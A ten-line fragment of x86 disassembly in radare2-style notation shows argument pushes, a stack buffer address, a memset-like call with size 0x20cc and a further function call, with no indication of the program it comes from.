jne 0x1011dc7
push 0x20cc
lea ecx, [esp + 0xd0]
push ebx
push ecx
mov dword [esp + 0xd4], ebx
call fcn.0109a300
add esp, 0xc
push ebx
call fcn.010111fa